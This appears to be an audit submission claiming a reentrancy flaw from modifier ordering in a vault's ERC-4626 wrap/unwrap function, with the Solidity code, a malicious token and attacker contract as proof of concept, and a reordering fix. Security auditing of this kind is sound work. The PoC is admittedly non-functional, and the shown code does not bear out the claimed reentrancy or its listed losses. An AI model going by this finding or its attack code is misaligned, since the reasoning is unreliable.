QuantAMM

Summary

The key issue here is that the nonReentrant modifier is placed after other modifiers, specifically after withInitializedBuffer.

Vulnerability Details

This ordering means that the reentrancy guard check happens after the other modifiers execute, potentially leaving a window for reentrancy.

Vault.sol

` function erc4626BufferWrapOrUnwrap(

BufferWrapOrUnwrapParams memory params

)

external

onlyWhenUnlocked

whenVaultBuffersAreNotPaused

withInitializedBuffer(params.wrappedToken)

nonReentrant

returns (uint256 amountCalculatedRaw, uint256 amountInRaw, uint256 amountOutRaw)

{

IERC20 underlyingToken = IERC20(params.wrappedToken.asset());

_ensureCorrectBufferAsset(params.wrappedToken, address(underlyingToken));

_ensureValidWrapAmount(params.wrappedToken, params.amountGivenRaw);

if (params.direction == WrappingDirection.UNWRAP) {

bytes32 bufferBalances;

(amountInRaw, amountOutRaw, bufferBalances) = _unwrapWithBuffer(

params.kind,

underlyingToken,

params.wrappedToken,

params.amountGivenRaw

);

emit Unwrap(params.wrappedToken, amountInRaw, amountOutRaw, bufferBalances);

} else {

bytes32 bufferBalances;

(amountInRaw, amountOutRaw, bufferBalances) = _wrapWithBuffer(

params.kind,

underlyingToken,

params.wrappedToken,

params.amountGivenRaw

);

emit Wrap(params.wrappedToken, amountInRaw, amountOutRaw, bufferBalances);

}

if (params.kind == SwapKind.EXACT_IN) {

if (amountOutRaw < params.limitRaw) {

revert SwapLimit(amountOutRaw, params.limitRaw);

}

amountCalculatedRaw = amountOutRaw;

} else {

if (amountInRaw > params.limitRaw) {

revert SwapLimit(amountInRaw, params.limitRaw);

}

amountCalculatedRaw = amountInRaw;

}

_ensureValidWrapAmount(params.wrappedToken, amountCalculatedRaw);

}

// If amount is too small, rounding issues can be introduced that favor the user and can leak value

// from the buffer.

// _MINIMUM_WRAP_AMOUNT prevents it. Most tokens have protections against it already; this is just an extra layer

// of security.

function _ensureValidWrapAmount(IERC4626 wrappedToken, uint256 amount) private view {

if (amount < _MINIMUM_WRAP_AMOUNT) {

revert WrapAmountTooSmall(wrappedToken);

}

} `

Malicious.sol

` // Malicious ERC4626 implementation

contract MaliciousERC4626 is ERC20, IERC4626 {

IVault public immutable vault;

IERC20 public immutable underlying;

bool public attacking;

constructor(

address _vault,

address _underlying

) ERC20("Malicious Token", "MAL") {

vault = IVault(_vault);

underlying = IERC20(_underlying);

attacking = false;

}

function asset() external view override returns (address) {

// If we're attacking, perform the reentrant call

// callAsset();

return address(underlying);

}

function callAsset() internal {

if (!attacking) {

// Note: This would actually need to be called in a non-view context

// This is just to demonstrate the concept

attacking = true;

IVault.BufferWrapOrUnwrapParams memory params = IVault.BufferWrapOrUnwrapParams({

wrappedToken*:* IERC4626(address(this)),

direction*:* IVault.WrappingDirection.WRAP,

kind*:* IVault.SwapKind.EXACT_IN,

amountGivenRaw*:* 1000,

limitRaw*:* 0

});

vault.erc4626BufferWrapOrUnwrap(params);

}

}

function deposit(uint256 assets, address receiver) external returns (uint256) {

// Implement deposit logic

return 0;

}

function withdraw(uint256 assets, address receiver, address owner) external returns (uint256) {

// Implement withdraw logic

return 0;

}

}

// Attack contract

contract ReentrancyAttacker {

IVault public immutable vault;

MaliciousERC4626 public immutable maliciousToken;

constructor(address _vault, address _underlying) {

vault = IVault(_vault);

maliciousToken = new MaliciousERC4626(_vault, _underlying);

}

function attack() external {

IVault.BufferWrapOrUnwrapParams memory params = IVault.BufferWrapOrUnwrapParams({

wrappedToken*:* IERC4626(address(maliciousToken)),

direction*:* IVault.WrappingDirection.WRAP,

kind*:* IVault.SwapKind.EXACT_IN,

amountGivenRaw*:* 1000,

limitRaw*:* 0

});

vault.erc4626BufferWrapOrUnwrap(params);

}

} `

Impact

1. State Manipulation:

• Buffer balances could be manipulated between the initial check and final execution

• Internal accounting states may become desynchronized

• Token balances could be drained through recursive calls

1. Economic Impact:

• Direct financial losses for users and the protocol

• Manipulation of exchange rates and buffer ratios

• Potential exploitation of price differences during recursive calls

1. Protocol Trust:

• Compromises the integrity of the wrapping/unwrapping mechanism

• Affects the reliability of the buffer system

• Could lead to loss of user confidence in the protocol

Tools Used

ConsenSys/surya

foundry

Recommendations

Mitigation: The vulnerability can be fixed by moving the nonReentrant modifier to be the first in the modifier chain, ensuring reentrancy protection is enforced before any external calls or state changes occur.

` function erc4626BufferWrapOrUnwrap(
BufferWrapOrUnwrapParams memory params
)
external
nonReentrant // Move this to be first
onlyWhenUnlocked
whenVaultBuffersAreNotPaused
withInitializedBuffer(params.wrappedToken)
returns (uint256 amountCalculatedRaw, uint256 amountInRaw, uint256 amountOutRaw) `